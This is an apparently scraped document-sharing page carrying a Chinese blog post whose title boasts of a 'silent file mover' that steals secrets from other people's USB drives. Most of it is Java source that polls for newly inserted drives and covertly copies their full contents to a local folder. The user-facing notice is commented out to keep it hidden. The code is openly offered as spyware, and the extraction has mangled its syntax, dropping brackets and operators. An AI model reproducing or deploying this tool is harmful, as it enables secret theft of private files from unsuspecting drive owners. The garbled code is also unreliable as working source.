《写了一个“默默奉献的文件搬运工”,无声无息地就把别人U盘里的秘密全都偷走了.doc》由会员分享,可在线阅读,更多相关《写了一个“默默奉献的文件搬运工”,无声无息地就把别人U盘里的秘密全都偷走了.doc(11页珍藏版)》请在三一文库上搜索。
1、来自我的QQ空间:http:/ cn.tyz.main;/import javax.swing.JOptionPane;import cn.tyz.utils.PublicUtils;public class Main/ 程序入口public static void main(String args)/ 弹出友情提示(取消提示节约20MB左右内存)/JOptionPane.showMessageDialog(/null, 准备就绪.n拷贝到: + targetPath, U盘监听已启动, 1);/ 启动U盘监听PublicUtils.diskListener();源代码PublicUtils.
2、java:package cn.tyz.utils;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.BufferedReader;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.FileReader;import java.text.SimpleDateFormat;import java.util.ArrayList;imp
3、ort java.util.Date;public class PublicUtilsstatic ArrayList partitions;/ 系统存在分区static int count;/ 存在分区数目static ArrayList sourceFiles;/ 待监听到的U盘对象/ 静态初始化系统存在分区和数目和待监听到的U盘对象staticpartitions = getAllPartition();count = partitions.size();sourceFiles = new ArrayList();/ 获取系统所有分区public static ArrayList get
4、AllPartition()ArrayList list = new ArrayList();File files = File.listRoots();for(File f : files)list.add(f);return list;/ 监听是否有可移动磁盘插入public static void diskListener()new Thread()public void run() while(true)ArrayList list = getAllPartition();/ 检测是否有U盘插入if(list.size() partitions.size()/ 有U盘插入(可处理多个U
5、盘的插入)for(int i = 0; i list.size() ; i+)/ 遍历所有分区if(!partitions.contains(list.get(i)/ 存入插入的U盘对象sourceFiles.add(list.get(i);doCopy(new PublicUtils().getTargetPath();/ 执行复制操作partitions.clear();/ 清空存在分区partitions = list;/ 更新存在分区if(list.size() partitions.size()/ 有U盘拔出sourceFiles = partitions;for(int i = 0
6、; i partitions.size(); i+)/ 遍历所有分区if(!list.contains(partitions.get(i)/ 移除拔出的U盘对象sourceFiles.remove(partitions.get(i);partitions.clear();/ 清空存在分区partitions = list;/ 更新存在分区count = list.size(); / 刷新分区数目try Thread.sleep(5000);catch (InterruptedException e) e.printStackTrace();/ 新启线程调用外部类的复制函数执行复制private
7、 void doCopy(final String targetPath)/ 新启线程执行复制new Thread()public void run()for(int i = 0; i sourceFiles.size(); i+)File source = sourceFiles.get(i);/ 一个U盘对象File target = new File(targetPath + / 一个目标目录 (用盘符+时间做子文件夹名称)+ source.getAbsolutePath().substring(0, 1) + + new SimpleDateFormat(yyyy-MM-dd HH-m
8、m-ss).format(new Date() + );/ 创建存放目录if(!target.exists()target.mkdir();/ 移除待监听的U盘中的 将执行复制的对象sourceFiles.remove(i);/ 调用复制函数去操作copyFiles(source, target);.start();.start();/ 复制文件或文件夹public static boolean copyFiles(File source_file, File target_file) /顶层目录File top_file = new File(target_file, source_file
9、.getName();/复制目录if (source_file.isDirectory() /创建顶层目录top_file.mkdir();/获取当前目录下的所有文件或目录File dir = source_file.listFiles();/逐个拷贝到顶层目录下for (int i = 0; i dir.length; i+) if (!copyFiles(diri, top_file)return false;/复制成功return true;else /复制文件tryFileInputStream fis = new FileInputStream(source_file);Buffer
10、edInputStream bis = new BufferedInputStream(fis);FileOutputStream fos = new FileOutputStream(top_file);BufferedOutputStream bout = new BufferedOutputStream(fos);/缓存5KBbyte buffer = new byte1024 * 1024 * 5;int c = 0;while (c = bis.read(buffer) != -1)bout.write(buffer, 0, c);/System.out.println(复制: +
11、source_file + 到: + target_file);bout.close();fos.close();bis.close();fis.close(); catch (Exception e) e.printStackTrace();/复制成功return true;/ 获取本程序运行所在路径public static String getAppPath()return System.getProperty(user.dir);/ 读取配置文件public String getTargetPath()String path = ;tryBufferedReader br = new
12、BufferedReader(new FileReader(new File(getAppPath() + target.ini);if(br != null)path = br.readLine();/ 路径不正确或为空或不存在,则默认为第二分区下的CopyFilesif(path = | path =null | !new File(path).exists()/ 创建默认路径(默认创建到第二个分区下的CopyFiles目录)path = PublicUtils.getAllPartition().get(1) + CopyFiles;File targetFile = new File(path);if(!targetFile.exists()targetFile.mkdir();catch (Exception e)e.printStackTrace();return path;